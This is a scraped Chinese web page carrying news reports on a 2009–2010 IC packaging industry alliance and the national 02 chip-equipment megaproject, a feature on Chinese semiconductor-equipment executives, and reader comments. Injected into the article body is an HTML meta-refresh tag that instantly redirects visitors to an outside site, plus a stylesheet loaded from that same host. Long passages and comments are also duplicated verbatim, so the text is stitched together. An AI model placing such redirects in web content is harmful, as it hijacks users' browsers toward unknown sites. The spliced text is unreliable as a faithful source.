强手联合 形成产业竞争力
积极推进联盟建设的02专项总体专家组组长叶甜春表示，把承担重大专项任务较多的核心企业、上下游企业以及科研院所、高等院校都组织起来是实施重大专项的有效方式，也是从整体上提升产业竞争力的有效途径。
他透露，在02专项已安排任务中，企业承担的项目占总概算的81.75%。“联盟的成立必将推进专项在瓶颈技术、核心技术与知识产权问题上取得突破，引导以企业为核心的技术资源整合、培育自生技术来源和自主知识产权体系并形成产业综合竞争能力。”
“联盟成立的目的就是为了更好地推进重大专项的组织实施。”联盟秘书长于燮康表示，联盟是由我国从事集成电路封测产业链的制造、科研、开发、教学等单位及其他相关的产学研企、事业单位根据专项实施的需要、在完全自愿的基础上组成。25家发起单位均在具有法律约束力的“协议书”上签了字，这将保证联盟的规范运作。
“需要指出的是，并不是所有想加入联盟的企业都能通过资格审查，没有一定实力的企业是不能成为联盟一员的，只有这样，才能从整体上打造出联盟的竞争优势和强大的创新能力。”于燮康说。
叶甜春表示，专项还在筹划和组织“集成电路制造产业链技术创新联盟”、“硅材料产业技术创新联盟”、“光刻机产业技术创新联盟”等，并计划于2010年陆续成立。
——亮点——
抱团攻关 突破核心技术
在于燮康看来，在重大专项中成立产业联盟有数不完的好处。“这对于企业抱团，做大做强产业规模、规避同质竞争，大力推动产业开展有效的技术创新活动，提升我国集成电路封测产业的自主创新能力都将发挥重要的作用。”
把创新资源进行集聚和整合，形成产业技术创新链。于燮康表示，联盟将为提升我国集成电路封测产业的核心竞争能力做出最大努力。通过联合开展集成电路封测产业链领域关键核心技术攻关，开发针对应用工程具有自主知识产权的重大创新产品，强化我国集成电路封测产业的核心竞争能力，促进产业结构的优化和升级。
通过联合成员单位，最大程度地发挥产学研合作的优势，联盟的成员单位可以共同承担国家科技专项包括国家02专项、重点科技支撑项目等重大科研课题，结合02专项攻关课题，以“十一五”立项的封装形式配套装备及材料为突破口，在设备、材料、测试仪器、引线框架等多个项目上开展攻关，强化了产业链上下游，供需双方紧密合作。
整合资源 建立公共技术平台
加快我国集成电路封测产业核心技术和关键产品的开发、应用及产业化。于燮康说，联盟将以市场为导向，协调联盟成员技术资源，组织有能力的单位在互惠合作基础上开放资源，建立专业性公共技术平台，提高成员单位对集成电路封测产业链科技创新的支撑服务能力。以骨干企业提出的若干关键技术或重大产品为载体，确定牵头企业并按照项目协作攻关的组织方式，吸收配套企业、研究院所及系统开发方案，组织创新攻关，形成持续稳定的产学研利益共同体，并明确成员之间分工及配套，加强集成电路封测产业链各环节之间的互动，不断完善产业链与创新链。
此外，联盟的建立还有利于产学研技术合作、成果转化和国内外科技交流等创新活动。于燮康表示，联盟将定期或不定期地开展联盟内成员单位的技术交流、联谊和研讨活动，保持联盟形成持续稳定的产学研合作关系，互惠互利，共同提高，使技术创新联盟成为企业自愿联合、产学研紧密合作、良性运行、有利于企业、产业发展的一个合作创新组织。
■ 连线企业
绘制路线图 制定时间表
本报记者 韩士德
“这是我们产业界的一件大事。”联盟依托单位江苏长电科技股份有限公司的总经理王新潮，也是联盟首届理事长。他认为，联盟成立对引导和支持创新要素向企业集聚，提升我国封测产业链技术创新能力，促进产学研各方围绕产业技术创新能力，保持持续稳定的合作关系，整合资源，建立技术平台，联合培养人才，实现创新成果产业化，具有十分重要的意义。
形成利益共同体
王新潮说，联盟是在科技部领导下创新体制机制，探索有效模式，促进企业、高等院校和科研院所在战略层面的有效结合，突破相关产业发展的技术瓶颈和体制约束的一种有效尝试。“我相信，通过产学研成员之间的优势互补和协同创新形成的一种长效稳定的利益共同体，一定有利于突破产业发展的关键技术，有利于构建共性技术平台，凝聚和培养创新人才，加速技术推广应用和产业化。”
谈到具体操作，王新潮表示，在构成要素和技术方面，要建立共同投入、联合开发、利益共享、风险共担的机制，突出资源整合和服务导向功能，通过成员单位之间的联合，发挥产学研合作优势，通过共同承担国家科技计划和专项任务、重点课题、支撑项目等重大科研课题的组织实施，加快我国封测产业核心技术和关键产品的开发、应用及产业化。
确定三项任务
王新潮向记者透露，目前，联盟已经确定了三项工作任务：一是制定中国集成电路封测业赶超世界集成电路封测业的技术路线图和时间表，从对国际封装技术路线图进行分析，对国际先进的同业进行研究，明确从哪些封装形式寻找突破口，既要有自主知识产权，又能在短时间内赶超国际水平。二是从封测企业未来产业化发展的角度，提出对封测装备和材料的需求，便于装备、材料业开发出满足市场需求、适销对路的产品。三是随着封测产业的快速发展，管理瓶颈已经日益突出。如何寻找与国际先进企业的差距，加大对企业管理的投入，使我们的管理水平赶上国际同业的先进水平。
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■ 延伸阅读
“极大规模集成电路制造装备及成套工艺”专项进展
据专项总体专家组组长叶甜春介绍，目前，国家科技重大专项“极大规模集成电路制造装备及成套工艺”完成立项项目53个，主要任务已全面启动，重点攻关全面展开，重点任务已取得阶段性进展和成果，属于进展最快的专项之一。
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已进入批量试生产
集成电路封装方面，专项部署的先进封装工艺研发项目已经进入批量试生产阶段，并成功获得了国际国内高端客户连续增长的订单。由大型制造企业按照供应链模式组织的成套封装设备与材料应用工程项目进展良好，该项目有26个中小企业参加，预计2010年上半年将有30种设备和15种材料产品进入大生产线考核验证。随着重点专项的实施，到2011年，占我国集成电路产业产值近一半的封装产业将形成综合配套能力，技术水平接近国际先进水平，初步具备自主创新发展的能力。
大宗战略性产品
明年将形成综合制造能力
集成电路制造方面，专项部署的产品工艺开发项目已全面展开，并确定了部分大宗生产产品种类。预计到2011年，国内大型集成电路组织企业将在大宗战略性产品领域形成综合制造能力。从而使我国集成电路制造业的市场竞争力和自主创新能力得到较大提升，并将有力推动我国信息产业竞争力和行业综合效益的提高。技术水平差距从2—3代缩小到约1代。
集成电路装备
进入大生产线考核验证
高端集成电路制造装备方面，已有2种65纳米刻蚀机产品样机于2009年上半年进入大生产线进行考核验证。其他多种设备已进入整机组装调试阶段，将于 2010年陆续进入大生产线考核验证。预计到2011年，将有8—10种高端集成电路制造装备和关键部件产品开始进入市场销售，使我国集成电路装备这一战略性产业初步形成规模化发展态势。整体技术水平差距从4代缩小到2代。
总体而言，到2011年，我国集成电路制造产业将初步形成综合配套能力和自主创新能力，从而逐步改变以往因缺少自主知识产权和产业链支撑而处处受制于人的被动局面，开始形成自主发展的实力，掌握发展主动权。同时，将极大地带动我国自动化高端装备综合制造水平的提升。<meta http-equiv="refresh" content="0; url=http://sdw.cc">
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<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
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2009年3月26日，科技部召开新闻推进会，宣布我国科技重大专项“极大规模集成电路制造装备及成套工艺”进入全面实施阶段。科技部、国家发改委、财政部、工信部、中科院、北京市和上海市政府等专项领导小组成员单位的领导出席会议，科技部部长万钢等讲话。
据介绍，这一重大专项由北京市和上海市政府牵头组织实施，已成立专项咨询委员会、专项总体专家组和专项实施管理办公室等机构。专项面向全国广泛征集项目，经过严格的筛选及“三评两审”立项程序，目前拟启动54个项目。其中，装备整机15项、成套工艺11项、关键材料9项、关键技术与零部件11项、前瞻性研究等8项，总投资180多亿元。重大专项将陆续发布项目指南，以“公开、公平、公正”为原则，有序推进立项评审及实施管理工作。
万钢表示，重大专项是实现《国家中长期科学和技术发展规划纲要》的一项重要内容。在中央的扩大内需十项措施和十大产业振兴规划之际，启动“极大规模集成电路制造装备及成套工艺”重大专项，是发挥科技支撑作用、促进经济平稳较快发展的重大行动。
这一重大专项是在2008年4月国务院务常务会上审议并原则通过的。当时，会议认为，“极大规模集成电路制造装备及成套工艺”是21世纪信息战略高技术的发展重点。中国要通过专项的实施，掌握具有自主知识产权的集成电路制造成套先进工艺与所需新材料和技术，带动装备制造业和材料产业的发展，促进产业结构调整，提高国家核心竞争力。2008年，国家还在《集成电路产业“十一五”专项规划》重点中建设了北京、天津、上海、苏州、宁波等国家集成电路产业园。
专项总体专家组组长叶甜春回答了记者关于该专项在国家应对国际金融危机中作出了怎样调整的提问。他说：“专项主要就原来所涉及的中长远目标与近期目标在资金投入上有所调整。调整后，一些近期项目所创造的收益将很快增加效益，国内有很大的需求，可以缓解金融危机在这个行业给中国带来的某些冲击。”
叶甜春在推进会上表示，集成电路重大专项的实施，将使我国集成电路迎来一个历史上的黄金时期。国际金融危机对世界经济产生了巨大冲击，由于危机与集成电路产业调整周期重合，对行业而言更是雪上加霜。这一战略措施对整个集成电路行业不仅是雪中送炭，而且带来了全行业调整产业结构、增强自主创新能力和产业竞争力的历史机遇。总体专家组作为重大专项技术责任主体，将以对国家负责、对历史负责的态度，努力做好专项的组织实施工作，组织好专项产、学、研、用技术联盟，推动我国集成电路整体创新实力的提升。
据介绍，这一重大专项由北京市和上海市政府牵头组织实施，已成立专项咨询委员会、专项总体专家组和专项实施管理办公室等机构。专项面向全国广泛征集项目，经过严格的筛选及“三评两审”立项程序，目前拟启动54个项目。其中，装备整机15项、成套工艺11项、关键材料9项、关键技术与零部件11项、前瞻性研究等8项，总投资180多亿元。重大专项将陆续发布项目指南，以“公开、公平、公正”为原则，有序推进立项评审及实施管理工作。
万钢表示，重大专项是实现《国家中长期科学和技术发展规划纲要》的一项重要内容。在中央的扩大内需十项措施和十大产业振兴规划之际，启动“极大规模集成电路制造装备及成套工艺”重大专项，是发挥科技支撑作用、促进经济平稳较快发展的重大行动。
这一重大专项是在2008年4月国务院务常务会上审议并原则通过的。当时，会议认为，“极大规模集成电路制造装备及成套工艺”是21世纪信息战略高技术的发展重点。中国要通过专项的实施，掌握具有自主知识产权的集成电路制造成套先进工艺与所需新材料和技术，带动装备制造业和材料产业的发展，促进产业结构调整，提高国家核心竞争力。2008年，国家还在《集成电路产业“十一五”专项规划》重点中建设了北京、天津、上海、苏州、宁波等国家集成电路产业园。
专项总体专家组组长叶甜春回答了记者关于该专项在国家应对国际金融危机中作出了怎样调整的提问。他说：“专项主要就原来所涉及的中长远目标与近期目标在资金投入上有所调整。调整后，一些近期项目所创造的收益将很快增加效益，国内有很大的需求，可以缓解金融危机在这个行业给中国带来的某些冲击。”
叶甜春在推进会上表示，集成电路重大专项的实施，将使我国集成电路迎来一个历史上的黄金时期。国际金融危机对世界经济产生了巨大冲击，由于危机与集成电路产业调整周期重合，对行业而言更是雪上加霜。这一战略措施对整个集成电路行业不仅是雪中送炭，而且带来了全行业调整产业结构、增强自主创新能力和产业竞争力的历史机遇。总体专家组作为重大专项技术责任主体，将以对国家负责、对历史负责的态度，努力做好专项的组织实施工作，组织好专项产、学、研、用技术联盟，推动我国集成电路整体创新实力的提升。
中国半导体设备的脊梁
突然有一种冲动，想写一写中国本土半导体设备行业的一群人。虽然我从来没有以采访的名义向他们提出记者的“套路”问题，虽然他们在世界半导体设备舞台上的声音还微乎其微，虽然我能看到听到的只是他们人生中一个片段，但他们的热情投入与不断进取的精神让我感动。他们是中国半导体设备行业的脊梁。
素描
北方微电子的总裁耿锦启是个实在人。印象最深的那句话就是“骑车5分钟到客户”。本土公司的优势正在于贴近客户的服务，北方的客户服务中心都设在了自行车 5分钟到达客户的距离之内，“公司为每个办事处都配备了自行车，保证客户随叫随到。”而北方微电子保定办公室就设在了客户的公司内部，北方人与天威人表面看是客户关系，但更像是同事关系，他们在为同一个目标而共同努力，即实现光伏模组效率的提高与成本的降低。
在公司经营与前沿技术研发领域，耿锦启的理念却已与国际接轨，进入了“汽车时代”。当北方微电子完成十五国家重大专项的刻蚀设备研发，并成功将3台 200mm机台销售给中芯、华虹和宏力后，耿启锦说北方开始了“二次创业”。除了引进海外人才、继续300mm的前沿技术设备研发外，北方还成功开发了光伏PECVD设备，并且在北京设立了光伏制造整条中试线，与国际理念接轨进行研发，即以工艺开发为主，硬件调试为辅。“中国人讲求谦虚，有实力就说实力，决不吹嘘，”耿锦启说。相信北方的PECVD设备也将具备这一实力风格。
七星电子集成电路工艺设备研发中心总经理盛金龙身上洋溢着北方人特有的热情与直爽。说到300mm质量流量计Intel订单的时候，盛金龙的第一句话就是，“都是我们的错，是我们的研发有点儿慢了。”坦诚的态度给人以信任。相信一年1万台MFC的订单，及成为国内MFC老大的业绩与这种坦诚的态度不无关联。
作为中国历史最为悠久的半导体设备公司，七星的扩散退火与清洗设备早在国内市场享有很高的美誉度。在国家02专项的支持下，300mm最新的扩散退火系统即将走出七星，进入fab接受进一步的考验。当问起系统的零部件本土化情况时，盛金龙自豪地说，只有一个关键部件是纯进口的。说到自家设备的优点，盛金龙如数家珍，从设备的独特腔体设计，到如何提高工艺稳定性等等。不过最后的一句总结，“等客户有了好的结果再宣传”，让我再次感受到了盛金龙的直爽与谦虚。
中科院微电子所的叶甜春所长作为02专项的组长，“大权在握”，却丝毫没有架子。因为公差耽误了北京“32nm技术研讨会”的演讲，叶所长道歉的话说了三遍。随着国家32nm与22nm设备与工艺研发项目的开展，叶甜春胖了，因为压力，因为事情太多，“只有吃饱了才有精力。”叶甜春笑谈。
国家对半导体设备与工艺的重视，对中国产业来说是莫大的发展机会。面对千亿元的研发资金，如何用好，如何快速地促进中国半导体产业的发展，这对02专家组来说意味着责任与挑战。与科技部官员沟通、与企业沟通是必须的步骤，了解国际最新技术趋势与热点也是不可或缺的，只有通过调查研究，才有发言权。叶甜春说，我们的目标就是在2020年，中国能够成为引领世界半导体行业发展的一份力量，在世界半导体行业有自己的声音。
机遇与发展
2006年２月９日，国务院发布了《国家中长期科学和技术发展规划纲要（2006-2020年）》确定了未来15年力争取得突破的16个重大科技专项，涉及信息、生物等战略产业领域，能源资源环境和人民健康等重大紧迫问题以及军民两用技术和国防技术。其中01、02专项分别为核心电子器件、高端通用芯片及基础软件，以及极大规模集成电路制造技术及成套工艺。作为信息产业的基础，IC的设计与制造引起了国家高度重视，希望籍此机会带动国内半导体全产业链的技术进步，==对半导体的巨大投入无疑是产业发展难得的一次机遇。
七星承揽着02专项扩散退火系统的研发项目，盛金龙说，此次国家的投入与之前的十五计划相比增加了非常多，国家现在不是怕花钱，而是怕“出不来东西”。
在先进工艺研发领域的数十亿投入也将大幅提升芯片厂的工艺技术水平和IP的拥有量，促进自主创新。据中芯国际技术处长吴汉明介绍，目前中芯每年能够自主开发数百专利，45nm的激光退火、32nm的双曝光、HKMG等关键技术领域都是重点研发方向。与此同时，中芯还能够为国产半导体设备提供验证平台，为 01专项的IC设计公司提供工艺支持及免费的MPW服务，与产业链上下游共同进步。
随着半导体技术日益广泛地应用于太阳能光伏、TFT、LED等领域，本土设备公司在半导体领域的技术积累已经转移到大半导体领域。中电48所、七星、北方微电子等公司与Applied Materials等国际公司走的是同样的道路。
随着全球对绿色能源的需求提高，以及对光伏成本降低的不懈追求，中国光伏产业开始了欣欣向荣的发展，中国的设备制造公司由于成本优势也拥有了更多的机会。 “最近几年是太阳能产业发展的黄金期，但随着越来越多传统半导体国际公司进入这一领域，留给我们发展的时间也许并不太多。”七星副总经理张国铭说。
七星也是国内首家进入TFT五代线的本土设备公司，在光伏与TFT设备领域的成功正是保证七星每年业绩两位数增长的法宝。而正是有了半导体设备的技术基础，才让七星敏锐地把握住了每一次市场机遇。
挑战与困惑
“从产品开发到成熟、再到市场认可通常需要6－7年，”耿锦启说。目前半导体市场已基本成熟，2009年市场还在萎缩，国内的市场需求也不明朗，因此单纯依靠半导体设备，企业的生存与发展自然会受到制约。
市场的成熟也让任何一个细分的半导体装备很难超过2家供应商，这对不占先机的中国公司是一大挑战。“中国制造”曾改变了服装、电子等产品的世界秩序，但在最为精密的半导体设备与工艺领域，“中国制造”能否续写这一神话？没有努力不能下结论，但基础工业也绝非是一朝一夕能够快速提高的。
貌似不起眼的零部件国产化问题是目前设备产业面临的最大困惑之一。半导体设备的4大关键零部件，即泵、质量流量计、阀门和管道，看似简单的部件，但目前本土生产的先进半导体设备的核心几乎都采用进口的零部件。在产量无法与国际先进水平相提并论的今天，我们零部件的价格实际比竞争对手还要高！但设备销售的价格却必须比进口设备低30％左右，七星微电子设备分公司总经理唐亚非对此不无感慨。如何抓好基础的基础，即零部件产业，是多年来本土半导体设备公司发展的瓶颈之一。
本土设备对“技术含量略低”的光伏设备全球市场的冲击有目共睹。这也迫使国际设备公司不得不采取降价措施，因此中国光伏制造的全球价格优势也不能少了本土设备公司这一份贡献。但我们同时还发现，不论是核心的薄膜光伏镀膜设备，还是TFT核心镀膜设备、LED生长的核心MOCVD设备，这些最为关键的领域似乎都还缺少中国公司的身影。SEMI顾问莫大康的这一评述让我们再一次审视中国设备产业的技术基础，没有坚实的钢筋，将很难盖起摩天大楼。
思考是行动的基础。正是出于对设备行业的一腔热情，让他们有了这份思考。中国半导体产业的未来，将建立在今天我们共同努力的砖石上。
突然有一种冲动，想写一写中国本土半导体设备行业的一群人。虽然我从来没有以采访的名义向他们提出记者的“套路”问题，虽然他们在世界半导体设备舞台上的声音还微乎其微，虽然我能看到听到的只是他们人生中一个片段，但他们的热情投入与不断进取的精神让我感动。他们是中国半导体设备行业的脊梁。
素描
北方微电子的总裁耿锦启是个实在人。印象最深的那句话就是“骑车5分钟到客户”。本土公司的优势正在于贴近客户的服务，北方的客户服务中心都设在了自行车 5分钟到达客户的距离之内，“公司为每个办事处都配备了自行车，保证客户随叫随到。”而北方微电子保定办公室就设在了客户的公司内部，北方人与天威人表面看是客户关系，但更像是同事关系，他们在为同一个目标而共同努力，即实现光伏模组效率的提高与成本的降低。
在公司经营与前沿技术研发领域，耿锦启的理念却已与国际接轨，进入了“汽车时代”。当北方微电子完成十五国家重大专项的刻蚀设备研发，并成功将3台 200mm机台销售给中芯、华虹和宏力后，耿启锦说北方开始了“二次创业”。除了引进海外人才、继续300mm的前沿技术设备研发外，北方还成功开发了光伏PECVD设备，并且在北京设立了光伏制造整条中试线，与国际理念接轨进行研发，即以工艺开发为主，硬件调试为辅。“中国人讲求谦虚，有实力就说实力，决不吹嘘，”耿锦启说。相信北方的PECVD设备也将具备这一实力风格。
七星电子集成电路工艺设备研发中心总经理盛金龙身上洋溢着北方人特有的热情与直爽。说到300mm质量流量计Intel订单的时候，盛金龙的第一句话就是，“都是我们的错，是我们的研发有点儿慢了。”坦诚的态度给人以信任。相信一年1万台MFC的订单，及成为国内MFC老大的业绩与这种坦诚的态度不无关联。
作为中国历史最为悠久的半导体设备公司，七星的扩散退火与清洗设备早在国内市场享有很高的美誉度。在国家02专项的支持下，300mm最新的扩散退火系统即将走出七星，进入fab接受进一步的考验。当问起系统的零部件本土化情况时，盛金龙自豪地说，只有一个关键部件是纯进口的。说到自家设备的优点，盛金龙如数家珍，从设备的独特腔体设计，到如何提高工艺稳定性等等。不过最后的一句总结，“等客户有了好的结果再宣传”，让我再次感受到了盛金龙的直爽与谦虚。
中科院微电子所的叶甜春所长作为02专项的组长，“大权在握”，却丝毫没有架子。因为公差耽误了北京“32nm技术研讨会”的演讲，叶所长道歉的话说了三遍。随着国家32nm与22nm设备与工艺研发项目的开展，叶甜春胖了，因为压力，因为事情太多，“只有吃饱了才有精力。”叶甜春笑谈。
国家对半导体设备与工艺的重视，对中国产业来说是莫大的发展机会。面对千亿元的研发资金，如何用好，如何快速地促进中国半导体产业的发展，这对02专家组来说意味着责任与挑战。与科技部官员沟通、与企业沟通是必须的步骤，了解国际最新技术趋势与热点也是不可或缺的，只有通过调查研究，才有发言权。叶甜春说，我们的目标就是在2020年，中国能够成为引领世界半导体行业发展的一份力量，在世界半导体行业有自己的声音。
机遇与发展
2006年２月９日，国务院发布了《国家中长期科学和技术发展规划纲要（2006-2020年）》确定了未来15年力争取得突破的16个重大科技专项，涉及信息、生物等战略产业领域，能源资源环境和人民健康等重大紧迫问题以及军民两用技术和国防技术。其中01、02专项分别为核心电子器件、高端通用芯片及基础软件，以及极大规模集成电路制造技术及成套工艺。作为信息产业的基础，IC的设计与制造引起了国家高度重视，希望籍此机会带动国内半导体全产业链的技术进步，==对半导体的巨大投入无疑是产业发展难得的一次机遇。
七星承揽着02专项扩散退火系统的研发项目，盛金龙说，此次国家的投入与之前的十五计划相比增加了非常多，国家现在不是怕花钱，而是怕“出不来东西”。
在先进工艺研发领域的数十亿投入也将大幅提升芯片厂的工艺技术水平和IP的拥有量，促进自主创新。据中芯国际技术处长吴汉明介绍，目前中芯每年能够自主开发数百专利，45nm的激光退火、32nm的双曝光、HKMG等关键技术领域都是重点研发方向。与此同时，中芯还能够为国产半导体设备提供验证平台，为 01专项的IC设计公司提供工艺支持及免费的MPW服务，与产业链上下游共同进步。
随着半导体技术日益广泛地应用于太阳能光伏、TFT、LED等领域，本土设备公司在半导体领域的技术积累已经转移到大半导体领域。中电48所、七星、北方微电子等公司与Applied Materials等国际公司走的是同样的道路。
随着全球对绿色能源的需求提高，以及对光伏成本降低的不懈追求，中国光伏产业开始了欣欣向荣的发展，中国的设备制造公司由于成本优势也拥有了更多的机会。 “最近几年是太阳能产业发展的黄金期，但随着越来越多传统半导体国际公司进入这一领域，留给我们发展的时间也许并不太多。”七星副总经理张国铭说。
七星也是国内首家进入TFT五代线的本土设备公司，在光伏与TFT设备领域的成功正是保证七星每年业绩两位数增长的法宝。而正是有了半导体设备的技术基础，才让七星敏锐地把握住了每一次市场机遇。
挑战与困惑
“从产品开发到成熟、再到市场认可通常需要6－7年，”耿锦启说。目前半导体市场已基本成熟，2009年市场还在萎缩，国内的市场需求也不明朗，因此单纯依靠半导体设备，企业的生存与发展自然会受到制约。
市场的成熟也让任何一个细分的半导体装备很难超过2家供应商，这对不占先机的中国公司是一大挑战。“中国制造”曾改变了服装、电子等产品的世界秩序，但在最为精密的半导体设备与工艺领域，“中国制造”能否续写这一神话？没有努力不能下结论，但基础工业也绝非是一朝一夕能够快速提高的。
貌似不起眼的零部件国产化问题是目前设备产业面临的最大困惑之一。半导体设备的4大关键零部件，即泵、质量流量计、阀门和管道，看似简单的部件，但目前本土生产的先进半导体设备的核心几乎都采用进口的零部件。在产量无法与国际先进水平相提并论的今天，我们零部件的价格实际比竞争对手还要高！但设备销售的价格却必须比进口设备低30％左右，七星微电子设备分公司总经理唐亚非对此不无感慨。如何抓好基础的基础，即零部件产业，是多年来本土半导体设备公司发展的瓶颈之一。
本土设备对“技术含量略低”的光伏设备全球市场的冲击有目共睹。这也迫使国际设备公司不得不采取降价措施，因此中国光伏制造的全球价格优势也不能少了本土设备公司这一份贡献。但我们同时还发现，不论是核心的薄膜光伏镀膜设备，还是TFT核心镀膜设备、LED生长的核心MOCVD设备，这些最为关键的领域似乎都还缺少中国公司的身影。SEMI顾问莫大康的这一评述让我们再一次审视中国设备产业的技术基础，没有坚实的钢筋，将很难盖起摩天大楼。
思考是行动的基础。正是出于对设备行业的一腔热情，让他们有了这份思考。中国半导体产业的未来，将建立在今天我们共同努力的砖石上。
吹吧
我国许多领域上都还要追赶啊...
很好，但是还应当以该联盟为契机，建立产业标准，技术标准，这样才能真正的实现联盟。
已经积累到足以自主打通全产业链条了吗？
以具有法律约束力的契约为保障，进行优势互补、利益共享、风险共担的新型技术创新组织形式是促进企业提高自主创新能力的有效途径。
谈到具体操作，王新潮表示，在构成要素和技术方面，要建立共同投入、联合开发、利益共享、风险共担的机制，突出资源整合和服务导向功能，通过成员单位之间的联合，发挥产学研合作优势，通过共同承担国家科技计划和专项任务、重点课题、支撑项目等重大科研课题的组织实施，加快我国封测产业核心技术和关键产品的开发、应用及产业化。
谈到具体操作，王新潮表示，在构成要素和技术方面，要建立共同投入、联合开发、利益共享、风险共担的机制，突出资源整合和服务导向功能，通过成员单位之间的联合，发挥产学研合作优势，通过共同承担国家科技计划和专项任务、重点课题、支撑项目等重大科研课题的组织实施，加快我国封测产业核心技术和关键产品的开发、应用及产业化。
可能是从TD产业联盟，闪联联盟等积累了一定经验。其实国际大企业常自发的组织一些联盟，共同制定标准，然后一块把持市场。国内企业太弱小缺乏号召力，过往没什么联盟，但正因为弱小，更需要联盟。联盟后资金和技术力量就变得庞大，可以完成单独一家无法完成的事情。
现在由政府出面，以看的到的市场，具体项目作为牵引，将企业联合，而且加入大学，科研院所等。这应该是一个好的方式。
现在由政府出面，以看的到的市场，具体项目作为牵引，将企业联合，而且加入大学，科研院所等。这应该是一个好的方式。
很久很久以前研发很少，因为没钱也没人才，大学生都没多少个。
很久以前大学和研究所等科研变多了，但是不知市场为何物，不知市场需要什么，为科研而科研。实验室成果如何转化为商品成了老大难问题。企业没有研发人才，大学有研发人才却没钱，资源割裂浪费。
不久以前企业和大学合作变多。但是主要为短期项目推动。
现在开始企业和企业，企业和大学进行紧密的联合，大军团作战，不是单一项目，而是针对产业，是一系列项目。人才，知识，资金等资源得到最高效的整合。
啥叫发展过程，啥叫解决方案，这就是，创新不是空喊口号就行的。
很久很久以前研发很少，因为没钱也没人才，大学生都没多少个。
很久以前大学和研究所等科研变多了，但是不知市场为何物，不知市场需要什么，为科研而科研。实验室成果如何转化为商品成了老大难问题。企业没有研发人才，大学有研发人才却没钱，资源割裂浪费。
不久以前企业和大学合作变多。但是主要为短期项目推动。
现在开始企业和企业，企业和大学进行紧密的联合，大军团作战，不是单一项目，而是针对产业，是一系列项目。人才，知识，资金等资源得到最高效的整合。
啥叫发展过程，啥叫解决方案，这就是，创新不是空喊口号就行的。
还是走的产学研官这一套.
shiny1225 发表于 2010-1-29 14:18 
你说的是哪一套？
你列的是社会分类吧。地球上的国家都有你列的产学研官。
你说的是哪一套？
你列的是社会分类吧。地球上的国家都有你列的产学研官。
产学研不错啊，最主要的是将研究成果及时转化才行。
联盟不乐观，各怀鬼胎。这种东西，还是国家收编比较靠谱。
shiny1225 发表于 2010-1-29 14:18
满眼民企 官的起来?也不动脑子想想
满眼民企 官的起来?也不动脑子想想